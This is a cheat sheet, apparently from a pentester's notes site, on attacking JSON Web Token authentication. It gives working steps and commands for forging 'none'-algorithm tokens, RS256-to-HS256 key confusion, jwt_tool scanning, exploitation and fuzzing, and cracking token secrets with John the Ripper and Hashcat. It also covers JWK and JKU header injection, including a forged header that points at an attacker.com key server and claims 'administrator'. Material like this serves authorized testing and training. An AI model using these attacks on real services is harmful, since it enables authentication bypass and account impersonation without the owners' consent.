JWT (Json Web Token) Pentesting

Last modified: 2024-04-13

Web

JWT is a proposed internet standard for creating data with optional signature and optional encryption whose payload holds JSON that asserts some number of claims.

Decode JWT

  • There are some online JWT decoder/encoder tools like JWT.io.
  • CyberChef can be used for JWT decode.

None Algorithm Attack

If the website uses JWT and we can see the token, copy the JWT and paste it in jwt.io.

  1. Replace the "alg" value with "none" in header. (try the alg header variations such as "none", "None", "nOnE", "NONE".)
  2. Replace arbitrary values of the payload e.g. "username" with "admin".
  3. Empty the signature field.

If the error "Invalid Signature" occured, we can manually create Base64 value for each section (remove the "=" symbol).
If you want to empty the signature field manually, you can delete the final section.
For example,

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc4NDYwNjM1fQ.

Now copy the JWT.
Go to the website and replace the original JWT with the new one in HTTP header.


RS256 → HS256 Algorithm Attack

Reference: HackTricks

When changing the alg value from RS256 (asymmetric) to HS256 (symmetric) may, the target server may use the public key as the secret key. It may be possible to verify the signature.

We can retrieve the public key with the following command:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Automation

JWT Toolkit is a toolkit for testing, tweaking and cracking JWT.

Decode

python jwt_tool.py <Base64_Encoded_JWT>

Scan

# -t: Target URL
# -rc: Cookies
# -M pb: Playbook Scan Mode
# -cv: Canary Value
python jwt_tool.py -t https://vulnerable.com/admin -rc "jwt=<Base64_Encoded_JWT>;anothercookie=test" -M pb -cv "not authorized"

Exploit

# -X i: Exploit (inject inline)
# -I -pc username -pv admin: Inject Claim ("username": admin)
python jwt_tool.py -t https://vulnerable.com/admin -rc "jwt=<Base64_Encoded_JWT>;anothercookie=test" -X i -I -pc username -pv admin

Fuzz

# -I -hc kid -hv wordlist.txt: Inject Claim ("kid": FUZZ)
python jwt_tool.py -t https://vulnerable.com/admin -rc "jwt=<Base64_Encoded_JWT>;anothercookie=test" -I -hc kid -hv wordlist.txt

Manual Pentesting

# Tamper (Manual Exploit)
python jwt_tool.py <Base64_Encoded_JWT> -T

# Exploit (Automated Exploit)
# -X a: Exploit (alg: none)
python jwt_tool.py <Base64_Encoded_JWT> -X a

Crack JWT Secret

First of all, you need to put the JWT into the text file.

echo -n '<Base64_Encoded_JWT>' > jwt.txt
# e.g.
echo -n 'eyJraWQiOiI1OGNkYTU1ZS03NDY4LTRhNmMtYTQ2MS00NmIzZjM1MTMwMWYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJ0ZXN0Iiwic3ViIjoiYWRtaW4iLCJleHAiOjkxNjg2NDY3NjY1fQ.uK-rKQJzEQ7THoZXcfmHhvnwOE5P46IQIVRWmL4juDM' > jwt.txt

Then crack the hash using John the Ripper or Hashcat.

john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt

hashcat -a 0 -m 16500 jwt.txt passwords.txt
hashcat -a 0 -m 16500 jwt.txt passwords.txt -r rules/best64.rule
hashcat -a 3 -m 16500 jwt.txt '?u?l?l?l?l?l?l?l' -i --increment-min=6

If you found a secret, you can create a new JWT using the secret on tools like JWT.io.

Also we can use jwt-cracker.


JWK (Json Web Key) Header Injection

If the server supports the jwk in the JWT header, we may be able to add arbitrary jwk parameters then impersonate another user.
To perform that, JWT Editor extension in Burp Suite is useful.

  1. Install JWT Editor in BApp Store in Burp Suite.
  2. Go to JWT Editor Keys tab.
  3. If the server JWT’s algorithm is RSA such as RS256, click New RSA Key then click Generate button in the popup.
  4. Send request containing JWT to Burp Repeater.
  5. Go to Json Web Token tab, then modify arbitrary parameter e.g. username.
  6. Click Attack at the bottom. Select Embedded JWK.
  7. In the popup, choose our generated key.
  8. After that, the jwk is added in the JWT header.
  9. Send request in Repeater.

JKU (JWK Set URL) Header Injection

If the server supports the jku in the JWT header, we may be able to add arbitrary URL in the jku then impersonate another user. As in the JWK section above, JWT Editor is useful.
First of all, generate RSA key as the JWK section above, then serve it in our own web server. The body is as below.

{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "9c8bc417-ccbf-4b9d-b22b-b90c82f958c6",
            "n": "g7Qf9pqbHfqOXU3kGs4AnvZZvLsxV4kaxs3gLjgD_J4WMOZI7zmRlxuDg74r6gCKeEDdk4JilkRLnZ85xAG4vRMbuODKD-I1uNv6_ZT6RcCh8YS6tQn-bHPOdfcxgoTGpLBLHpj9dLIPwEFhNQiikJkaQxA_RF1eQAQhFO_6AHRBDNkDJfHUhu9ymbsFSpskMIhi3pMISKKSZSF2vYt3gR3Kq4tjUAnfLW_8XUdeJ56RKjBeVV2IgVfmOn-UvHcnLKm2Kki60G1ViEFcQiRzqp9DY8g91RZSMY3xHO0L2LZg34MZ3NInE7XyaRgupotn7yFImYkvd86L0VwICa6b8w"
        }
    ]
}

After that, add jku in the JWT header and set the URL of our server. Then set the kid of our generated key into the kid.
Finally modify arbitrary value e.g. username.
As a result, our JWT is as the following.

// Header
{
    "kid": "9c8bc417-ccbf-4b9d-b22b-b90c82f958c6",
    "alg": "RS256",
    "jku": "https://attacker.com/key"
}

// Payload
{
    "user": "administrator"
    "exp": 123456789
}

Now send request using the JWT above. We may be able to become administrator.